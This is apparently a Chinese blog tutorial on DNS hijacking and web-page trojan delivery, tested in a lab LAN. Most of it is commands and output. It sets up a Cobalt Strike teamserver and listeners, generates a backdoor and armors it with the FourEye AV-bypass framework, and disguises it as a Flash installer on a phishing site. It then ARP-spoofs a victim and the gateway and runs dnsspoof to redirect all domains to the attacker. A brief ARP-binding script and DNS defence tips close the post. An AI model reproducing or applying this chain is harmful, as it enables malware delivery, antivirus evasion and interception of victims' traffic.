dns劫持与网页挂马

前提工作

——搭建CS(CobaltStrike)

CobaltStrike简介

  • CobaltStrike是一款内网渗透测试神器,常被业界人称为CS。
  • Cobalt Strike 2.0版本主要是结合Metasploit可以称为图形化MSF工具。而Cobalt Strike 3.0已经不再使用Metasploit框架而作为一个独立的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。
  • CobaltStrike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,winexe木马生成,win.dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等

CobaltStrike搭建

linux端
1.下载CobaltStrike包
#查看资源页面
2.搭建服务器端
(1)将cs中linux服务器端放入kali中
└─# unzip cobaltstrike-linux.zip
#使用unzip解压zip文件
(2)进入cs文件给teamserver执行权限
└─# chmod +x teamserver
#然后终端进入这个目录下,首先查看本机kali的ip地址,然后为一个文件提升下权限chmod a+x #./teamserver,因为会出现权限不够的问题,然后将服务端跑起来
(3)启动服务器端
└─# ./teamserver 192.168.13.135 kali
[*] Generating X509 certificate and keystore (for SSL)
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Team server is up on 50050
[*] SHA256 hash of SSL cert is: a9cbb9eaddd96cb7333c145d52821c6bdcb3142047a9eab2b5dee18080e8a082
#./teamserver 攻击机ip地址 客户端要连接的密码
#./teamserver 192.168.194.181 password
#这里我把密码设为password
Windows端
1.解压cs中.win文件
2.运行.exe
3.连接kali服务器端
#Host是服务端kali的ip地址,端口默认50050,User可以随便改,默认即可,Password是我们刚刚设置的password,然后链接即可

CobaltStrike下载(Linux版/windows会乱码)

CobaltStrike

CobaltStrike文档

CobaltStrike搭建

——搭建flash钓鱼网站

网站搭建

1.打包好源码文件,放入kali中网站根目录
└─# cd /var/www/html        ┌──(root kali)-[/var/www/html]
└─# ls
1.png     flash_down   flash_error需要网络  README.md
捆绑木马  flash_error  index.html

flash钓鱼源码

flash源码

——网络互通

本地桥接

1.桥接到本地
2.注意当前桥接网卡
3.配置kali网卡
┌──(root kali)-[~]
└─# vim /etc/network/interfacesauto loiface lo inet loopbackauto eth0iface eth0 inet dhcp   #根据实际情况配置静态IP static#address xxx#netmask xxx#gateway xxx┌──(root kali)-[~]
└─# systemctl restart networking.service        重启网络服务,获取IP地址
4.kali中dns配置
┌──(root kali)-[~]
└─# vim /etc/resolv.conf   nameserver 192.168.13.1

网络测试

1.查看当前IP
┌──(root kali)-[~]
└─# ip a | grep eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000inet 192.168.13.24/24 brd 192.168.13.255 scope global dynamic eth0
2.网络测试
┌──(root kali)-[~]
└─# ping baidu.com
PING baidu.com (110.242.68.66) 56(84) bytes of data.
64 bytes from 110.242.68.66 (110.242.68.66): icmp_seq=1 ttl=54 time=34.9 ms
64 bytes from 110.242.68.66 (110.242.68.66): icmp_seq=2 ttl=54 time=42.3 ms
64 bytes from 110.242.68.66 (110.242.68.66): icmp_seq=3 ttl=54 time=35.8 ms
^C
--- baidu.com ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2008ms
rtt min/avg/max/mdev = 34.891/37.666/42.319/3.310 ms
3.测试网关
┌──(root kali)-[~]
└─# ping 192.168.13.1
PING 192.168.13.1 (192.168.13.1) 56(84) bytes of data.
64 bytes from 192.168.13.1: icmp_seq=1 ttl=64 time=12.0 ms
64 bytes from 192.168.13.1: icmp_seq=2 ttl=64 time=74.1 ms
64 bytes from 192.168.13.1: icmp_seq=3 ttl=64 time=115 ms
64 bytes from 192.168.13.1: icmp_seq=4 ttl=64 time=478 ms
^C
--- 192.168.13.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3022ms
rtt min/avg/max/mdev = 12.007/169.943/478.295/181.788 ms

内网渗透测试

——启动内网大杀器CS

服务端

┌──(root kali)-[~/cs/cobaltstrike_chinese]
└─# ./teamserver 192.168.13.24 123      //启动服务端
[*] Will use existing X509 certificate and keystore (for SSL)
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Team server is up on 50050
[*] SHA256 hash of SSL cert is: 7b49fc589e7e738e3457859d269996ecef83f693570b0ac482c426b1fa04bd73
[+] Listener: test-2 started!
[+] Listener: ddd started!
[!] Web Server will use default SSL certificate (you don't want this).Use a valid SSL certificate with Cobalt Strike: https://www.cobaltstrike.com/help-malleable-c2#validssl
[+] Listener: test1 started!
[+] Listener: test3 started!

客户端

┌──(root kali)-[~/cs/cobaltstrike_chinese]
└─# ./cs.sh                        //启动客户端
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
未检测到使用

创建监听器

生成后门



后门免杀

┌──(root kali)-[~]
└─# cd bypass/FourEye/┌──(root kali)-[~/bypass/FourEye]
└─# python BypassFramework.py______                   ___
(_) |                    / (_)          _|_  __          ,_   \__         _  / | |/  \_|   |  /  |  /    |   | |/  (_/   \__/  \_/|_/   |_/\___/ \_/|/|__//|     \|   v1.8 stable !FourEye BypassFrameWork | BypassAV your shellcode && exe FourEye >>list
[+] Shellcode:
[+] Exe:
FourEye >>exe
Please input Your exe: >>/root/cs_Trojans/test.exe
[i] Started armouring /root/cs_Trojans/test.exe (17920 bytes)
[i] Begining encryption via XOR
[+] Wrote 437487 bytes to /root/auQFaIgQJ.exe  #保存路径
FourEye >>

——捆绑木马

自解压木马


更改图标ICO




——flash钓鱼

将后门挂在网站上

┌──(root kali)-[~]
└─# cp /mnt/windows/flashplayerpp_install_cn.exe /var/www/html/flash_down/    ┌──(root kali)-[~]
└─# cd /var/www/html/flash_down/                                          ┌──(root kali)-[/var/www/html/flash_down]
└─# ls
css          flashplayerpp_install_cn.exe      images      js
favicon.ico  flashplayerpp_install_cn_web.exe  index.html  README.md┌──(root kali)-[/var/www/html/flash_down]
└─# systemctl restart apache2.service  //重启apache

——DNS劫持

#DNS的全称为Domain Name Server也就是域名服务,在真实环境中我们人是很难记住一串没有规律的ip地址的,所以引入了域名方便人们的记忆和访问但是数据包在网络的传输是以ip地址来寻址的,这就导致需要一种服务来提供从域名到ip的转换,而DNS就是这样一种服务。
#这里再介绍一下访问一个网址的时候解析域名会经过哪些步骤吧:1.首先会访问我们的本地DNS缓存查看是否有该域名的一个解析记录有的话会取该记录的映射ip进行发送数据包2.如果本地DNS缓存没有该域名的解析记录的话,会去访问我们的hosts文件如果该文件当中存在域名的映射关系那么取得ip地址之后进行发送2.如果hosts文件当中也没有记录的话就会去访问本地DNS服务器,请求解析该域名如果本地DNS没有该域名的记录的话会向外网的DNS服务器进行请求
#这就是访问一个网站进行域名解析的流程,而DNS劫持是攻击者攻击内网进行ARP欺骗将自己的MAC地址和网关的ip地址对应或者DNS服务器的地址绑定,让所有的流量流向攻击者,而攻击者向受害者发送错误的域名解析导致受害访问虚假的页面,或者是数据包流向攻击者而攻击者在自己的hosts文件中加上一个虚假的域名ip对应关系,转向虚假的网站

首先进行ARP欺骗

#首先使用arpspoof进行ARP欺骗arpspoof -i 网卡 -t 对哪个目标进行欺骗 -r 指定网关ip看效果,目标的网关地址变成了kali的MAC地址,同时还需要对网关的也进行欺骗arpspoof -i eth0 -t 网关 -r 目标 对网关进行ARP欺骗将受害者的MAC改为kali的这样所有留向两者的数据都会经过kali
1.欺骗目标
┌──(root kali)-[~]
└─# arpspoof -i eth0 -t 192.168.13.6 -r 192.168.13.1    正向欺骗
2.欺骗网关
┌──(root kali)-[~]
└─# arpspoof -i eth0 -t 192.168.13.1 -r 192.168.13.6    反向欺骗

编写hosts文件

┌──(root kali)-[~]
└─# vim hosts.txt    192.168.13.24 *.*.**.*.* 192.168.13.24

dns劫持

#此时并没有开启转发服务属于断网攻击此时目标是无法上网的,我们需要使用另外一个工具dnsspoof进行DNS欺骗,dnsspoof -i eth0 -f dns.txt指定一个dns.txt文件里面是一个DNS的A记录就是正向解析记录是域名和ip的映射指定所有域名都指向kali的ip,那么以后win7无论访问什么网站都会访问kali的网页,星号表示任意
┌──(root kali)-[~]
└─# cat dns.txt
192.168.1.154 *.*.*
#可以看到转发没有开启现在win7无法上网
┌──(root kali)-[/]
└─# cat /proc/sys/net/ipv4/ip_forward
0
#注意此时并没有开启转发功能,目标无法上网
1.进行dns劫持
┌──(root kali)-[~]
└─# dnsspoof -i eth0 -f hosts.txt

问题总结

1.在攻击时环境问题
网络的互通性,网络不能够通信,数据传输不了,什么都做不了
2.在网关欺骗与dns欺骗问题
如果目标无法访问,就行先打开数据转发功能,等数据通了再将数据转发功能关闭(关闭数据转发,使对方能够准确欺骗重定向到我们要求的网站)
未开启
┌──(root kali)-[/]
└─# cat /proc/sys/net/ipv4/ip_forward
0
开启
┌──(root kali)-[/]
└─# echo 1 > /proc/sys/net/ipv4/ip_forward
┌──(root kali)-[/]
└─# cat /proc/sys/net/ipv4/ip_forward
1
3.不同浏览器的安全等级与防御机制不一样
有的浏览器并不能进行劫持,如edge

防御机制

ARP防御

@echo off
chcp 65001
::网卡绑定bat脚本
:: set /p value=请输入变量的值:意思是定义一个变量value,这个value的值需要在控制台上动态输入
:: =号右边的是提示语,不是变量的值
::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::查看当前网关
ipconfig /all
echo.
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::查看网关地址与MAC地址
set /p value="输入网关:"
arp -a | find "%value%"
echo.
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::查看网卡编号
echo 查看网卡编号
netsh i i show in
echo.
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::输入网卡编号
::set /p value="网卡Idx:"
::echo.
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::网关绑定
echo 进行网卡绑定
echo.
set /p idx="输入要绑定的网卡idx:"
set /p ip="输入要绑定的网关ip:"
set /p mac="输入要绑定的网关mac:"
echo 进行MAC绑定
netsh -c "i i" add neighbors %idx% %ip% %mac%
::网关解绑
::如若要解除绑定的网卡地址,将网卡绑定命令与下面命令进行替换
::netsh -c "i i" delete neighbors %idx%
::
echo.       %是换行的意思%
echo 绑定成功
::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
echo.
PAUSE

DNS防御

对于DNS劫持的防御有几个建议:
1.输入一个不存在的域名查看解析如果解析出来了那么一般就是被劫持了,这个时候可以使用静态绑定MAC地址的2.方式将网关的地址绑定起来避免ARP欺骗
3.同时可以查询百度的真实ip写入到hosts文件当中
4.同时还可以修改DNS的地址为114.114.114.114

网络攻防之dns劫持与网页挂马(实测)相关推荐

  1. Web安全-检测-网页挂马

    网马 网马的本质是一个特定的网页,这个网页包含了攻击者精心构造的恶意代码,这些恶意代码通过利用浏览器(包括控件.插件)的漏洞,加载并执行攻击者指定的恶意软件(通常是木马). 网站挂马是黑客植入木马的一 ...

  2. XSS漏洞,通过XSS实现网页挂马

    **今天讲下通过XSS实现网页挂马~*,目的是了解安全方面知识,提升生活网络中辨别度 原理: 实验分为两部分: 1.通过Kali linux,利用MS14_064漏洞,制作一个木马服务器.存在该漏洞的 ...

  3. 解析网页后门与网页挂马原理

    网站被挂马,被植入后门,这是管理员们无论如何都无法忍受的.Web服务器被攻克不算,还"城门失火殃及池鱼",网站的浏览者也不能幸免.这无论是对企业的信誉,还是对管理员的技术能力都是沉 ...

  4. 网页挂马防护市场探索

    据调查表明百分之九十以上的病毒传播途径都是以网页***为主,其实网页***就是将***和网页结合在一起,打开网页的同时也会运行***.最初的网页***原理是利用IE 浏览器的ActiveX控件,运行网 ...

  5. Linux 网页挂马实验,网页挂马详细教程

    网页挂马详细教程 网页挂马详细教程 其实很简单的的,说到原理,就一个:就是在人家网站的主页那里插入一个自己的网马的页面,等有漏洞的人查看了人家网站的主页,那么他就成了你的肉鸡了.. 下面我介绍5种方法 ...

  6. 网页挂码方式html css,CSS代码 解决网页挂马问题

    CSS代码 解决网页挂马问题 发布时间:2009-10-01 02:13:24   作者:佚名   我要评论 两行CSS来解决网页挂马问题,共5种方案. 两行CSS来解决,共5种方案 一. ifram ...

  7. 瑞星4月2日安全综述:网页挂马攻击严重

    4月2日安全综述: 据瑞星"云安全"系统统计,4月2日共有2,501,573人次的网民遭到网页挂马攻击,瑞星共截获了794,761个挂马网址,比昨日多出5万挂马网址. 当日被挂马网 ...

  8. 网页挂马的原理和实现方式

    网页挂马 一.网页挂马介绍 (1).挂马与网马

  9. 金山毒霸四月安全趋势 继续关注网页挂马

    根据三月所观察与收集到的数据,金山毒霸反病毒工程师对4月份的安全形式做出以下估计与提示: 提防木马下载器的再度爆发 整个3月份,病毒团伙的精力都放在制造网页挂马上,猫癣.死牛等传统的木马下载器几乎停止 ...

最新文章

  1. 纯CSS三级弹出菜单
  2. mac安装nvm及换源及node安装切换
  3. 前窗玻璃膜贴了一周还有气泡_关于车窗玻璃的养护你了解多少?
  4. asp.net实现无刷新,无须AJAX
  5. 汇编代码调用main和分配内存
  6. MPLAB IDE 编译器文件归类整理
  7. java注解获取参数_JAVA 自定义注解及参数获取 | 学步园
  8. [转载] 在python中pop的用法_python中pop()函数如何使用
  9. 矩阵分析与应用课程资料
  10. Python爬虫实战:1000图库大全【别轻易点进来】
  11. 计算机识别人脸原理,深入浅出人脸识别原理
  12. 矩阵求导术(二)——矩阵对矩阵的求导
  13. python爬取b站弹幕分析_B站直播弹幕获取 - 用python写一个B站弹幕姬吧
  14. 如何快速爬取网页数据(干货)
  15. 《愤怒的小鸟大电影》分析报告
  16. 仿秒拍视频网UI主题模板+Emlog内核开发
  17. Linux之yum 命令详解
  18. 文科专业计算机等级吗,文科生如何过计算机等级考试
  19. Ubuntu 下yuma源码安装
  20. (五)Android资源访问

热门文章

  1. BDE配置中的一个参数:SHAREDMEMLOCATION
  2. 织梦建站好吗?织梦好学、好用吗?
  3. react native 初构建之我等到花儿都谢了
  4. 招聘时那些看似高大上的要求,其实说的是这个(大白话+实体吐槽版)
  5. 短信发送验证码实现验证
  6. python十六进制排序_python十六进制
  7. pythonic 代码_15个Pythonic的代码示例(值得收藏)
  8. 南通五年制计算机大专学校,南通比较好的五年制的大专有哪些
  9. 什么是“面向对象”程序设计-以Python为例
  10. PyTorch 预训练权重保存位置